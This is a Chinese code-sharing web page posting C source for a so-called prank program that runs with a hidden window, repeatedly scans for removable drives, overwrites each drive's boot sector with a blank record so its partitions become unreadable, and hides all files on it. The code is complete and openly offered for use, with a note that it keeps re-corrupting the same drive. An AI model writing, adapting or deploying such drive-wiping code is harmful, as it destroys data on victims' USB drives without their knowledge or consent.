首页 > 代码库 > VC 整人程序 修改分区表
VC 整人程序 修改分区表
整人代码,定时检测所有可移动磁盘,若有,修改MBR。下次插入时可使无法读取分区~解决方案是用DiskGenuis等软件恢复MBR。可以自定义时间段~别整太过……有一个缺点,就是U盘被改之后,下一次程序扫描时发现这个设备还会修改MBR.
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <windows.h>unsigned int g_TimeList[][2] = {1, 10000000};unsigned char g_MBR[512];int IsOperateTime(void){ SYSTEMTIME SystemTime; unsigned int i = 0; unsigned int count = sizeof(g_TimeList) / sizeof(unsigned int) / 2; unsigned int TimeNow = 0; return 1; GetLocalTime(&SystemTime); TimeNow = SystemTime.wHour * 60 + SystemTime.wMinute; for (; i < count; i++) { if (TimeNow >= g_TimeList[i][0] && TimeNow <= g_TimeList[i][1]) { return 1; // 当前时间在事件列表内 } } return 0; }int ScanUSB(unsigned char Volumes[], unsigned short MaxVolumes){ char Volume = 'A'; char Buffer[200], *p = Buffer; unsigned int Count = 0; GetLogicalDriveStrings(52, Buffer); while (*p != '\0') { if (GetDriveType(p) == DRIVE_REMOVABLE) { Volumes[Count++] = *p; } p += strlen(p) + 1; } return Count;}int AlterMbr(unsigned char Volume){ HANDLE hVolume = INVALID_HANDLE_VALUE; char VolumeName[10]; unsigned long ReadLen = 0; // 已写入大小 BOOL IsSuccess = FALSE; if (Volume != '\0') { sprintf_s(VolumeName, 10, "\\\\.\\%c:", Volume); hVolume = CreateFile(VolumeName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hVolume != INVALID_HANDLE_VALUE) { IsSuccess = WriteFile(hVolume, g_MBR, 512, &ReadLen, NULL); if (IsSuccess && ReadLen == 512) { return 0; } } } return 1;}void HideAllFiles(unsigned char Volume){ char Buf[50]; if (Volume != '\0') { sprintf_s(Buf, 50, "attrib +s +h %c:\\*", Volume); system(Buf); }}int main(){ MSG Msg; unsigned char USBList[26]; SetConsoleTitle("Cpp1 - test - 20140907"); ShowWindow(FindWindow("ConsoleWindowClass", "Cpp1 - test - 20140907"), SW_HIDE); memset(&Msg, 0, sizeof(MSG)); memset(g_MBR, 0, 512); g_MBR[510] = 0x55; g_MBR[511] = 0xAA; if (SetTimer(NULL, 0x01, 1500, NULL) == 0) { MessageBox(NULL, "定时器创建失败。", "错误", MB_OK); ExitProcess(1); } while (GetMessage(&Msg, NULL, 0, 0)) { switch (Msg.message) { case WM_TIMER: { if (IsOperateTime() == 1) { unsigned int USBCount = 0; memset(USBList, 0, 26); if ((USBCount = ScanUSB(USBList, 26)) != 0) { for (unsigned int i = 0; i < USBCount; i++) { AlterMbr(USBList[i]); HideAllFiles(USBList[i]); } } } break; } default: { break; } } } return 0;}
VC 整人程序 修改分区表
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。